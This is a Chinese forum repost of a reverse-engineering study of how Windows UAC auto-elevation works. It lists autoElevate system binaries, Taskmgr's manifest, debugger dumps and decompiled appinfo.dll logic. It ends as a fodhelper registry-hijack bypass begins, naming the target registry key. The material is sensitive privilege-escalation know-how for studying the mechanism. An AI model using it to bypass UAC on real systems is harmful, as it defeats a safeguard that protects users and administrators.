安全矩阵

 找回密码
 立即注册
搜索
查看: 1827|回复: 0

UAC Bypass 技术学习

[复制链接]

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
发表于 2022-7-1 20:51:11 | 显示全部楼层 |阅读模式
本帖最后由 luozhenni 于 2022-7-1 20:50 编辑


UAC Bypass 技术学习

原文链接:UAC Bypass 技术学习
蝶澈——看雪学菀 2022-07-01 18:12 发表于上海
编辑
本文为看雪论坛优秀文章
看雪论坛作者ID:蝶澈——

UAC(User Account Control,用户帐户控制)是微软公司为了提高Windows系统安全性而在 Windows Vista 中引入的一种新型安全技术,它要求用户在执行某些可能会影响计算机运行的操作或更改其他用户设置的操作之前,向系统申请权限或提供管理员‌密码。

通过在这些操作启动前对其进行验证,UAC 可以帮助防止恶意软件和间谍软件在未经许可的情况下在计算机上进行安装或对计算机进行更改。
编辑

用户账户

Windows 中有多种不同的账户,包括:
  • SYSTEM
  • Administrators 用户组
    •   Administrator
    •   管理员账户
  • Users 用户组
    •   标准账户
            

完整性级别表示正在运行的应用程序进程和对象的可信度。它使文件系统能够使用预定义的策略来阻止较低完整性级别的进程读取或修改较高完整性的对象。从 Windows Vista 开始,进程在创建的时候,可以得到一个访问令牌(Access Token),令牌有四个完整性级别:
  • System(系统)
  • High(高)
  • Medium(中)
  • Low(低)

对应关系如下:
编辑

1、System 令牌是对系统完全操作的令牌,对应 SYSTEM,拥有的最高权限。提升的应用程序以 High 完整性级别运行,普通进程以 Medium 完整性级别运行,低权限进程以 Low 完整性级别运行。

2、在 Administrators 组中,Administrator 账户和普通管理员账户要分开说。普通管理员账户下,正常启动进程使用的是继承自 explorer.exe 的 Medium 访问令牌,当进程需要提升权限时,会弹出 UAC 提示框来启动一个子进程以获得 High 令牌。而 Administrator 账户下,正常启动的进程也都获得了 High 令牌。

3、Users 组的用户没有 High 和 System 令牌,如果要权限提升,需要输入管理员账号密码,而这时拿到的是这个管理员账号的 High 令牌。
编辑
例:直接运行 CMD 和以管理员权限运行 CMD 的进程完整性级别分别为 Medium 和 High。

编辑

更多资料:

https://blog.walterlv.com/post/windows-user-account-control.html

https://blog.walterlv.com/post/requested-execution-level-of-application-manifest

那进程如何获得 High 令牌呢?UAC 提示流程又是什么样子的?

AIS 服务:处理提升请求

当出现提升程序的请求时,AIS (appinfo.dll) 将进行校验程序是否满足提升的条件,主要看一下 AiIsEXESafeToAutoApprove 函数。以下 2 种情况可能不需要弹 UAC 对话框自动提升至管理员权限:

1、程序配置为自动提升

如果程序中配置了 autoElevate 为 true,会尝试自动提升。
编辑

2、白名单

判断要执行的程序是否属于白名单,在白名单之内就调用 AipIsValidAutoApprovalEXE 函数检查程序签名等信息,如果不在就基本结束这个函数了。
编辑

白名单列表:

'cttunesvr.exe'、'inetmgr.exe'、'migsetup.exe'、'mmc.exe'、'oobe.exe'、'pkgmgr.exe'、'provisionshare.exe'、'provisionstorage.exe'、'spinstall .exe','winsat.exe'

编辑

满足这两个条件的情况可能会直接提升,先看看配置了 autoElevate 的程序。
  1. strings.exe  -s *.exe | findstr /i "autoElevate"  //应该不全
  2. C:\Windows\System32\BitLockerWizardElev.exe:       <autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate>
  3. C:\Windows\System32\bthudtask.exe:           <autoElevate>true</autoElevate>
  4. C:\Windows\System32\changepk.exe:             <autoElevate>true</autoElevate>
  5. C:\Windows\System32\cleanmgr.exe:         <autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate>
  6. C:\Windows\System32\ComputerDefaults.exe:         <autoElevate>true</autoElevate>
  7. C:\Windows\System32\dccw.exe:       <autoElevate>true</autoElevate>
  8. C:\Windows\System32\dcomcnfg.exe:           <autoElevate>true</autoElevate>
  9. C:\Windows\System32\DeviceEject.exe:             <autoElevate>true</autoElevate>
  10. C:\Windows\System32\DeviceProperties.exe:         <autoElevate>true</autoElevate>
  11. C:\Windows\System32\dfrgui.exe:         <autoElevate  xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate>
  12. C:\Windows\System32\djoin.exe:         <autoElevate>true</autoElevate>
  13. C:\Windows\System32\easinvoker.exe:       <autoElevate>true</autoElevate>
  14. C:\Windows\System32\EASPolicyManagerBrokerHost.exe:       <autoElevate>true</autoElevate>
  15. C:\Windows\System32\eudcedit.exe:         <autoElevate>true</autoElevate>
  16. C:\Windows\System32\eventvwr.exe:         <autoElevate>true</autoElevate>
  17. C:\Windows\System32\fodhelper.exe:         <autoElevate>true</autoElevate>
  18. C:\Windows\System32\fsavailux.exe:         <autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate>
  19. C:\Windows\System32\fsquirt.exe:         <autoElevate>true</autoElevate>
  20. C:\Windows\System32\FXSUNATD.exe:           <autoElevate>true</autoElevate>
  21. C:\Windows\System32\immersivetpmvscmgrsvr.exe:       <autoElevate>true</autoElevate>
  22. C:\Windows\System32\iscsicli.exe:         <autoElevate>true</autoElevate>
  23. C:\Windows\System32\iscsicpl.exe:         <autoElevate>true</autoElevate>
  24. C:\Windows\System32\lpksetup.exe:         <autoElevate>true</autoElevate>
  25. C:\Windows\System32\MdSched.exe:             <autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate>
  26. C:\Windows\System32\MSchedExe.exe:         <autoElevate>true</autoElevate>
  27. C:\Windows\System32\msconfig.exe:         <autoElevate>true</autoElevate>
  28. C:\Windows\System32\msdt.exe:       <autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate>
  29. C:\Windows\System32\msra.exe:         <autoElevate>true</autoElevate>
  30. C:\Windows\System32\MultiDigiMon.exe:         <autoElevate>true</autoElevate>
  31. C:\Windows\System32\Netplwiz.exe:         <autoElevate  xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate>
  32. C:\Windows\System32\newdev.exe:         <autoElevate>true</autoElevate>
  33. C:\Windows\System32\odbcad32.exe:             <autoElevate>true</autoElevate>
  34. C:\Windows\System32\OptionalFeatures.exe:         <autoElevate  xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate>
  35. C:\Windows\System32\PasswordOnWakeSettingFlyout.exe:          <autoElevate>true</autoElevate>
  36. C:\Windows\System32\perfmon.exe: <autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate>
  37. C:\Windows\System32\printui.exe:             <autoElevate  xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate>
  38. C:\Windows\System32\rdpshell.exe:         <autoElevate>true</autoElevate>
  39. C:\Windows\System32\recdisc.exe:         <autoElevate>true</autoElevate>
  40. C:\Windows\System32\rrinstaller.exe:             <autoElevate>true</autoElevate>
  41. C:\Windows\System32\rstrui.exe:         <autoElevate  xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate>
  42. C:\Windows\System32\sdclt.exe:         <autoElevate  xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate>
  43. C:\Windows\System32\shrpubw.exe:         <autoElevate>true</autoElevate>
  44. C:\Windows\System32\slui.exe:         <autoElevate>true</autoElevate>
  45. C:\Windows\System32\SndVol.exe:             <autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate>
  46. C:\Windows\System32\SystemPropertiesAdvanced.exe:         <autoElevate>true</autoElevate>
  47. C:\Windows\System32\SystemPropertiesComputerName.exe:         <autoElevate>true</autoElevate>
  48. C:\Windows\System32\SystemPropertiesDataExecutionPrevention.exe:         <autoElevate>true</autoElevate>
  49. C:\Windows\System32\SystemPropertiesHardware.exe:         <autoElevate>true</autoElevate>
  50. C:\Windows\System32\SystemPropertiesPerformance.exe:         <autoElevate>true</autoElevate>
  51. C:\Windows\System32\SystemPropertiesProtection.exe:         <autoElevate>true</autoElevate>
  52. C:\Windows\System32\SystemPropertiesRemote.exe:         <autoElevate>true</autoElevate>
  53. C:\Windows\System32\systemreset.exe:             <autoElevate  xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate>
  54. C:\Windows\System32\SystemSettingsAdminFlows.exe:          <autoElevate>true</autoElevate>
  55. C:\Windows\System32\SystemSettingsRemoveDevice.exe:          <autoElevate>true</autoElevate>
  56. C:\Windows\System32\Taskmgr.exe:         <autoElevate>true</autoElevate>
  57. C:\Windows\System32\tcmsetup.exe:         <autoElevate>true</autoElevate>
  58. C:\Windows\System32\TpmInit.exe:             <autoElevate>true</autoElevate>
  59. C:\Windows\System32\WindowsUpdateElevatedInstaller.exe:          <autoElevate>true</autoElevate>
  60. C:\Windows\System32\WSReset.exe:     <autoElevate>true</autoElevate>
  61. C:\Windows\System32\wusa.exe:             <autoElevate>true</autoElevate>
复制代码
这里有个熟悉的程序:任务管理器(Taskmgr.exe),以 High 级别运行,仔细回忆一下,启动任务管理器的过程中并没有出现 UAC 弹窗:
编辑

manifest(清单)是伴随并描述并行程序集或独立应用程序的 XML 文件。清单通过程序集的 assemblyIdentity 元素唯一标识程序集。它们包含用于绑定和激活的信息,例如 COM 类、接口和类型库,这些信息传统上存储在注册表中。以下为使用命令 mt -inputresource:Taskmgr.exe;#1 -out:taskmgr.manifest 从 Taskmgr.exe 中提取出的 manifest 文件:
  1. <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
  2. <assembly xmlns="urn:schemas-microsoft-com:asm.v1" xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" manifestVersion="1.0">
  3. <assemblyIdentity processorArchitecture="amd64" version="5.1.0.0" name="Microsoft.Windows.Diagnosis.AdvancedTaskManager" type="win32"></assemblyIdentity>
  4. <description>Task Manager</description>
  5. <dependency>
  6.     <dependentAssembly>
  7.         <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="amd64" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>
  8.     </dependentAssembly>
  9. </dependency>
  10. <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
  11.     <security>
  12.         <requestedPrivileges>
  13.             <requestedExecutionLevel level="highestAvailable"></requestedExecutionLevel>
  14.         </requestedPrivileges>
  15.     </security>
  16. </trustInfo>
  17. <asmv3:application>
  18.     <asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
  19.         <dpiAware>true</dpiAware>
  20.         <autoElevate>true</autoElevate>
  21.     </asmv3:windowsSettings>
  22. </asmv3:application>
  23. </assembly>
复制代码
但如果将 Taskmgr.exe 复制到桌面,直接运行该程序,就会发现还是会出现 UAC 弹窗。这又引出自动提升程序需要满足的一个关键条件:从受信任目录执行。无论是 manifest 文件中设置了 autoElevate true,还是白名单列表判断,都需要 v13 的第 0x16 个比特位(index 从 0 开始计算)为 1 才行,这是一个前置条件。

编辑

v13 中的值从 a4 中取到,我们可以看一下它(AiIsEXESafeToAutoApprove)的上层函数 RAiLaunchAdminProcess,在下面的逻辑里会将目标程序字符串和 g_IncludedSysDir 进行比较,利用 RtlPrefixUnicodeString 和 wcschr 函数来判断目标程序是否在 \??\C:\Windows\System32\ 或 \??\C:\Windows\SysWow64\ 目录下,这两个目录是受信任的目录,如果满足条件,才会设置 flag 的第 0x16 个比特位(0x200000)。

编辑

不过还有两种特殊情况,是 g_IncludedXmtExe 中存储的 \??\C:\Windows\System32\Sysprep\sysprep.exe 以及 \??\C:\Windows\System32\inetsrv\InetMgr.exe,如果是这两个路径下的程序,且通过 AipMatchesOriginalFileName 函数检查(通过比较文件版本信息里的 OriginalFilename 来判断程序名字是否更改过),即使它们不是直接位于 System32 或 SysWow64 目录下,也会跳转到 LABEL_364 标签,设置 flag 的第 0x16 个比特位。

编辑
编辑

文件版本信息(以 sysprep.exe 为例):

处理示例:https://docs.microsoft.com/en-us/windows/win32/api/winver/nf-winver-verqueryvaluea

  1. </blockquote></div>
  2. </span></div>

  3. <div class="blockcode"><blockquote>0:023> db 01e2`85b73730 l72c    // O.r.i.g.i.
  4. 000001e2`85b73730  94 03 34 00 00 00 56 00-53 00 5f 00 56 00 45 00  ..4...V.S._.V.E.
  5. 000001e2`85b73740  52 00 53 00 49 00 4f 00-4e 00 5f 00 49 00 4e 00  R.S.I.O.N._.I.N.
  6. 000001e2`85b73750  46 00 4f 00 00 00 00 00-bd 04 ef fe 00 00 01 00  F.O.............
  7. 000001e2`85b73760  00 00 0a 00 ea 02 61 4a-00 00 0a 00 ea 02 61 4a  ......aJ......aJ
  8. 000001e2`85b73770  3f 00 00 00 00 00 00 00-04 00 04 00 01 00 00 00  ?...............
  9. 000001e2`85b73780  00 00 00 00 00 00 00 00-00 00 00 00 f2 02 00 00  ................
  10. 000001e2`85b73790  01 00 53 00 74 00 72 00-69 00 6e 00 67 00 46 00  ..S.t.r.i.n.g.F.
  11. 000001e2`85b737a0  69 00 6c 00 65 00 49 00-6e 00 66 00 6f 00 00 00  i.l.e.I.n.f.o...
  12. 000001e2`85b737b0  ce 02 00 00 01 00 30 00-34 00 30 00 39 00 30 00  ......0.4.0.9.0.
  13. 000001e2`85b737c0  34 00 42 00 30 00 00 00-4c 00 16 00 01 00 43 00  4.B.0...L.....C.
  14. 000001e2`85b737d0  6f 00 6d 00 70 00 61 00-6e 00 79 00 4e 00 61 00  o.m.p.a.n.y.N.a.
  15. 000001e2`85b737e0  6d 00 65 00 00 00 00 00-4d 00 69 00 63 00 72 00  m.e.....M.i.c.r.
  16. 000001e2`85b737f0  6f 00 73 00 6f 00 66 00-74 00 20 00 43 00 6f 00  o.s.o.f.t. .C.o.
  17. 000001e2`85b73800  72 00 70 00 6f 00 72 00-61 00 74 00 69 00 6f 00  r.p.o.r.a.t.i.o.
  18. 000001e2`85b73810  6e 00 00 00 58 00 18 00-01 00 46 00 69 00 6c 00  n...X.....F.i.l.
  19. 000001e2`85b73820  65 00 44 00 65 00 73 00-63 00 72 00 69 00 70 00  e.D.e.s.c.r.i.p.
  20. 000001e2`85b73830  74 00 69 00 6f 00 6e 00-00 00 00 00 53 00 79 00  t.i.o.n.....S.y.
  21. 000001e2`85b73840  73 00 74 00 65 00 6d 00-20 00 50 00 72 00 65 00  s.t.e.m. .P.r.e.
  22. 000001e2`85b73850  70 00 61 00 72 00 61 00-74 00 69 00 6f 00 6e 00  p.a.r.a.t.i.o.n.
  23. 000001e2`85b73860  20 00 54 00 6f 00 6f 00-6c 00 00 00 6c 00 26 00   .T.o.o.l...l.&.
  24. 000001e2`85b73870  01 00 46 00 69 00 6c 00-65 00 56 00 65 00 72 00  ..F.i.l.e.V.e.r.
  25. 000001e2`85b73880  73 00 69 00 6f 00 6e 00-00 00 00 00 31 00 30 00  s.i.o.n.....1.0.
  26. 000001e2`85b73890  2e 00 30 00 2e 00 31 00-39 00 30 00 34 00 31 00  ..0...1.9.0.4.1.
  27. 000001e2`85b738a0  2e 00 37 00 34 00 36 00-20 00 28 00 57 00 69 00  ..7.4.6. .(.W.i.
  28. 000001e2`85b738b0  6e 00 42 00 75 00 69 00-6c 00 64 00 2e 00 31 00  n.B.u.i.l.d...1.
  29. 000001e2`85b738c0  36 00 30 00 31 00 30 00-31 00 2e 00 30 00 38 00  6.0.1.0.1...0.8.
  30. 000001e2`85b738d0  30 00 30 00 29 00 00 00-38 00 0c 00 01 00 49 00  0.0.)...8.....I.
  31. 000001e2`85b738e0  6e 00 74 00 65 00 72 00-6e 00 61 00 6c 00 4e 00  n.t.e.r.n.a.l.N.
  32. 000001e2`85b738f0  61 00 6d 00 65 00 00 00-73 00 79 00 73 00 70 00  a.m.e...s.y.s.p.
  33. 000001e2`85b73900  72 00 65 00 70 00 2e 00-45 00 58 00 45 00 00 00  r.e.p...E.X.E...
  34. 000001e2`85b73910  80 00 2e 00 01 00 4c 00-65 00 67 00 61 00 6c 00  ......L.e.g.a.l.
  35. 000001e2`85b73920  43 00 6f 00 70 00 79 00-72 00 69 00 67 00 68 00  C.o.p.y.r.i.g.h.
  36. 000001e2`85b73930  74 00 00 00 a9 00 20 00-4d 00 69 00 63 00 72 00  t..... .M.i.c.r.
  37. 000001e2`85b73940  6f 00 73 00 6f 00 66 00-74 00 20 00 43 00 6f 00  o.s.o.f.t. .C.o.
  38. 000001e2`85b73950  72 00 70 00 6f 00 72 00-61 00 74 00 69 00 6f 00  r.p.o.r.a.t.i.o.
  39. 000001e2`85b73960  6e 00 2e 00 20 00 41 00-6c 00 6c 00 20 00 72 00  n... .A.l.l. .r.
  40. 000001e2`85b73970  69 00 67 00 68 00 74 00-73 00 20 00 72 00 65 00  i.g.h.t.s. .r.e.
  41. 000001e2`85b73980  73 00 65 00 72 00 76 00-65 00 64 00 2e 00 00 00  s.e.r.v.e.d.....
  42. 000001e2`85b73990  40 00 0c 00 01 00 4f 00-72 00 69 00 67 00 69 00  @.....O.r.i.g.i.
  43. 000001e2`85b739a0  6e 00 61 00 6c 00 46 00-69 00 6c 00 65 00 6e 00  n.a.l.F.i.l.e.n.
  44. 000001e2`85b739b0  61 00 6d 00 65 00 00 00-73 00 79 00 73 00 70 00  a.m.e...s.y.s.p.
  45. 000001e2`85b739c0  72 00 65 00 70 00 2e 00-45 00 58 00 45 00 00 00  r.e.p...E.X.E...
  46. 000001e2`85b739d0  6a 00 25 00 01 00 50 00-72 00 6f 00 64 00 75 00  j.%...P.r.o.d.u.
  47. 000001e2`85b739e0  63 00 74 00 4e 00 61 00-6d 00 65 00 00 00 00 00  c.t.N.a.m.e.....
  48. 000001e2`85b739f0  4d 00 69 00 63 00 72 00-6f 00 73 00 6f 00 66 00  M.i.c.r.o.s.o.f.
  49. 000001e2`85b73a00  74 00 ae 00 20 00 57 00-69 00 6e 00 64 00 6f 00  t... .W.i.n.d.o.
  50. 000001e2`85b73a10  77 00 73 00 ae 00 20 00-4f 00 70 00 65 00 72 00  w.s... .O.p.e.r.
  51. 000001e2`85b73a20  61 00 74 00 69 00 6e 00-67 00 20 00 53 00 79 00  a.t.i.n.g. .S.y.
  52. 000001e2`85b73a30  73 00 74 00 65 00 6d 00-00 00 00 00 42 00 0f 00  s.t.e.m.....B...
  53. 000001e2`85b73a40  01 00 50 00 72 00 6f 00-64 00 75 00 63 00 74 00  ..P.r.o.d.u.c.t.
  54. 000001e2`85b73a50  56 00 65 00 72 00 73 00-69 00 6f 00 6e 00 00 00  V.e.r.s.i.o.n...
  55. 000001e2`85b73a60  31 00 30 00 2e 00 30 00-2e 00 31 00 39 00 30 00  1.0...0...1.9.0.
  56. 000001e2`85b73a70  34 00 31 00 2e 00 37 00-34 00 36 00 00 00 00 00  4.1...7.4.6.....
  57. 000001e2`85b73a80  44 00 00 00 01 00 56 00-61 00 72 00 46 00 69 00  D.....V.a.r.F.i.
  58. 000001e2`85b73a90  6c 00 65 00 49 00 6e 00-66 00 6f 00 00 00 00 00  l.e.I.n.f.o.....
  59. 000001e2`85b73aa0  24 00 04 00 00 00 54 00-72 00 61 00 6e 00 73 00  $.....T.r.a.n.s.
  60. 000001e2`85b73ab0  6c 00 61 00 74 00 69 00-6f 00 6e 00 00 00 00 00  l.a.t.i.o.n.....
  61. 000001e2`85b73ac0  09 04 b0 04 46 45 32 58-49 44 7c 30 30 31 2e 35  ....FE2XID|001.5
  62. 000001e2`85b73ad0  00 00 4e 61 6d 65 00 08-40 00 00 03 00 0c 00 00  ..Name..@.......
  63. 000001e2`85b73ae0  00 00 00 00 00 41 00 00-00 0a 00 00 80 03 08 00  .....A..........
  64. 000001e2`85b73af0  00 00 f7 02 00 00 03 00-00 80 02 0b 00 00 00 ff  ................
  65. 000001e2`85b73b00  ff 01 00 00 80 13 0b 00-00 00 ff ff ff 02 00 00  ................
  66. 000001e2`85b73b10  02 08 00 00 00 09 03 00-00 0f 03 00 00 02 08 20  ...............
  67. 000001e2`85b73b20  00 00 1f 03 00 00 00 73-74 72 69 6e 67 00 00 4f  .......string..O
  68. 000001e2`85b73b30  76 65 72 72 69 64 65 00-00 4e 61 6d 65 00 00 4d  verride..Name..M
  69. 000001e2`85b73b40  61 70 70 69 6e 67 53 74-72 69 6e 67 73 00 01 00  appingStrings...
  70. 000001e2`85b73b50  00 00 27 03 00 00 00 57-4d 49 00 00 50 65 61 6b  ..'....WMI..Peak
  71. 000001e2`85b73b60  55 73 61 67 65 00 13 00-00 00 07 00 1c 00 00 00  Usage...........
  72. 000001e2`85b73b70  02 00 00 00 29 00 00 00-0a 00 00 80 03 08 00 00  ....)...........
  73. 000001e2`85b73b80  00 6e 03 00 00 03 00 00-80 02 0b 00 00 00 ff ff  .n..............
  74. 000001e2`85b73b90  76 03 00 00 02 08 20 00-00 86 03 00 00 00 75 69  v..... .......ui
  75. 000001e2`85b73ba0  6e 74 33 32 00 00 4d 61-70 70 69 6e 67 53 74 72  nt32..MappingStr
  76. 000001e2`85b73bb0  69 6e 67 73 00 01 00 00-00 8e 03 00 00 00 57 4d  ings..........WM
  77. 000001e2`85b73bc0  49 00 00 53 74 61 74 75-73 00 08 40 00 00 04 00  I..Status..@....
  78. 000001e2`85b73bd0  10 00 00 00 00 00 00 00-36 00 00 00 0a 00 00 80  ........6.......
  79. 000001e2`85b73be0  23 08 00 00 00 df 03 00-00 03 00 00 80 22 0b 00  #............"..
  80. 000001e2`85b73bf0  00 00 ff ff e7 03 00 00-22 03 00 00 00 0a 00 00  ........".......
  81. 000001e2`85b73c00  00 ef 03 00 00 22 08 20-00 00 f9 03 00 00 00 73  .....". .......s
  82. 000001e2`85b73c10  74 72 69 6e 67 00 00 4d-61 78 4c 65 6e 00 00 56  tring..MaxLen..V
  83. 000001e2`85b73c20  61 6c 75 65 4d 61 70 00-0c 00 00 00 2d 04 00 00  alueMap.....-...
  84. 000001e2`85b73c30  31 04 00 00 38 04 00 00-42 04 00 00 4b 04 00 00  1...8...B...K...
  85. 000001e2`85b73c40  56 04 00 00 60 04 00 00-6a 04 00 00 73 04 00 00  V...`...j...s...
  86. 000001e2`85b73c50  7d 04 00 00 89 04 00 00-95 04 00 00 00 4f 4b 00  }............OK.
  87. 000001e2`85b73c60  00 45 72 72 6f 72 00 00-44 65 67 72 61 64 65 64  .Error..Degraded
  88. 000001e2`85b73c70  00 00 55 6e 6b 6e 6f 77-6e 00 00 50 72 65 64 20  ..Unknown..Pred
  89. 000001e2`85b73c80  46 61 69 6c 00 00 53 74-61 72 74 69 6e 67 00 00  Fail..Starting..
  90. 000001e2`85b73c90  53 74 6f 70 70 69 6e 67-00 00 53 65 72 76 69 63  Stopping..Servic
  91. 000001e2`85b73ca0  65 00 00 53 74 72 65 73-73 65 64 00 00 4e 6f 6e  e..Stressed..Non
  92. 000001e2`85b73cb0  52 65 63 6f 76 65 72 00-00 4e 6f 20 43 6f 6e 74  Recover..No Cont
  93. 000001e2`85b73cc0  61 63 74 00 00 4c 6f 73-74 20 43 6f 6d 6d 00 00  act..Lost Comm..
  94. 000001e2`85b73cd0  54 65 6d 70 50 61 67 65-46 69 6c 65 00 0b 00 00  TempPageFile....
  95. 000001e2`85b73ce0  00 08 00 20 00 00 00 02-00 00 00 29 00 00 00 0a  ... .......)....
  96. 000001e2`85b73cf0  00 00 80 03 08 00 00 00-e5 04 00 00 03 00 00 80  ................
  97. 000001e2`85b73d00  02 0b 00 00 00 ff ff ee-04 00 00 02 08 20 00 00  ............. ..
  98. 000001e2`85b73d10  fe 04 00 00 00 62 6f 6f-6c 65 61 6e 00 00 4d 61  .....boolean..Ma
  99. 000001e2`85b73d20  70 70 69 6e 67 53 74 72-69 6e 67 73 00 01 00 00  ppingStrings....
  100. 000001e2`85b73d30  00 06 05 00 00 00 57 69-6e 33 32 52 65 67 69 73  ......Win32Regis
  101. 000001e2`85b73d40  74 72 79 7c 53 79 73 74-65 6d 5c 43 75 72 72 65  try|System\Curre
  102. 000001e2`85b73d50  6e 74 43 6f 6e 74 72 6f-6c 53 65 74 5c 43 6f 6e  ntControlSet\Con
  103. 000001e2`85b73d60  74 72 6f 6c 5c 53 65 73-73 69 6f 6e 20 4d 61 6e  trol\Session Man
  104. 000001e2`85b73d70  61 67 65 72 5c 4d 65 6d-6f 72 79 20 4d 61 6e 61  ager\Memory Mana
  105. 000001e2`85b73d80  67 65 6d 65 6e 74 7c 54-65 6d 70 50 61 67 65 46  gement|TempPageF
  106. 000001e2`85b73d90  69 6c 65 00 00 00 00 00-00 00 00 00 00 00 00 00  ile.............
  107. 000001e2`85b73da0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
  108. 000001e2`85b73db0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
  109. 000001e2`85b73dc0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
  110. 000001e2`85b73dd0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
  111. 000001e2`85b73de0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
  112. 000001e2`85b73df0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
  113. 000001e2`85b73e00  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
  114. 000001e2`85b73e10  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
  115. 000001e2`85b73e20  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
  116. 000001e2`85b73e30  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
  117. 000001e2`85b73e40  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
  118. 000001e2`85b73e50  00 00 00 00 00 00 00 00-00 00 00 00              ............
复制代码
按照目前的逻辑,我们的程序从受信任目录执行,且配置了 autoElevate 为 true,就可以进入第一种流程。先编写一个简单的程序,比如弹个 CMD,使用 VS 编译程序的时候加入 manifest,指定 requireAdministrator 级别,表示需要获得权限提升,如下
编辑

使用命令 mt -inputresource:test.exe;#1 -out:test.manifest 从 Taskmgr.exe 中提取 manifest 文件,加入 autoElevate 后使用:
  1. <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
  2. <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
  3.   <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
  4.     <security>
  5.       <requestedPrivileges>
  6.         <requestedExecutionLevel level="requireAdministrator" uiAccess="false"></requestedExecutionLevel>
  7.       </requestedPrivileges>
  8.     </security>
  9.   </trustInfo>
  10. <asmv3:application>
  11.     <asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
  12.         <dpiAware>true</dpiAware>
  13.         <autoElevate>true</autoElevate>
  14.     </asmv3:windowsSettings>
  15. </asmv3:application>
  16. </assembly>
复制代码

加入 manifest:mt.exe -manifest test.manifest -outputresource:test.exe;1,好的,果然失败了:

  1. // 这里还有一个关键函数,可以定位到这里有问题,如果验证正常的话,Reply应该是返回 0 的,失败就会返回错误代码
  2. Reply = AiCheckLUA(v155, (int *)&a4a, v148, v150, v80, (__int64)v79, (__int64)v192, v78, a11, (__int64 *)&v163);

  3. //经过测试,AiLaunchConsentUI 和 AiCheckLUA 函数都返回了错误值 0x202b
  4. appinfo!AiLaunchConsentUI+0x518:
  5. 00007ffc`9c3d78b8 e8e3d0ffff      call    appinfo!AiLaunchProcess (00007ffc`9c3d49a0)
  6. 0:021> gu
  7. appinfo!AiCheckLUA+0x343:
  8. 00007ffc`9c3d7203 488b7c2468      mov     rdi,qword ptr [rsp+68h] ss:000000e3`8a27e698=0000000000000000
  9. 0:021> gu
  10. appinfo!RAiLaunchAdminProcess+0xbe2:
  11. 00007ffc`9c3d68a2 894584          mov     dword ptr [rbp-7Ch],eax ss:000000e3`8a27e8b4=00000000
  12. 0:021> r rax
  13. rax=000000000000202b

  14. // 实际上在下面这段代码出现了错误,AiLaunchProcess 会调用 CreateProcessAsUserW 函数创建 consent 进程,但最终出现了错误
  15. // AiLaunchConsentUI 函数
  16. if ( !v9 )
  17.   {
  18.     ExitCode = AiLaunchProcess( 0i64, token, 0i64, 0x1000080u, 0i64, Dst, 0x400u, 0i64,
  19.                  pszDesktop, 0i64, a5, 0i64, 0, 0i64, 0i64, 0i64,
  20.                  (struct _PROCESS_INFORMATION *)hThread);// 0:035> dt _PROCESS_INFORMATION e3`8bcfe370
  21.                                                 // Windows_Web!_PROCESS_INFORMATION
  22.                                                 //    +0x000 hProcess         : 0x00000000`00001a3c Void
  23.                                                 //    +0x008 hThread          : 0x00000000`00001420 Void
  24.                                                 //    +0x010 dwProcessId      : 0x160c     //pid 5644
  25.                                                 //    +0x014 dwThreadId       : 0x12d0
  26.     v9 = ExitCode;
  27.     if ( !ExitCode )
  28.     {
  29.       ExitCode = AipVerifyConsent(hThread[0]);  // 验证 consent 进程
  30.       v9 = ExitCode;
  31.       if ( !ExitCode )
  32.       {
  33.         ResumeThread(hThread[1]);               // 恢复执行 consent
  34.         ExitCode = WaitForSingleObject(hThread[0], dwMilliseconds);// 等待
  35.         v9 = ExitCode;
  36.         if ( !ExitCode )
  37.         {
  38.           if ( !GetExitCodeProcess(hThread[0], &ExitCode) )// 这里取出错误代码
复制代码
虽然程序在AiIsEXESafeToAutoApprove 函数校验中通过了,但在后续传递给 consent.exe 程序进行处理的过程中出现了问题,还是需要再分析一下。
下面开始介绍成熟的 Bypass 技巧。

一、通过注册表劫持 Bypass UAC

参考:https://medium.themayor.tech/utilizing-a-common-windows-binary-to-escalate-to-system-privileges-c16482cced4b

目标程序:Fodhelper

注册表键值:HKCU\Software\Classes\ms-settings\shell\open\command

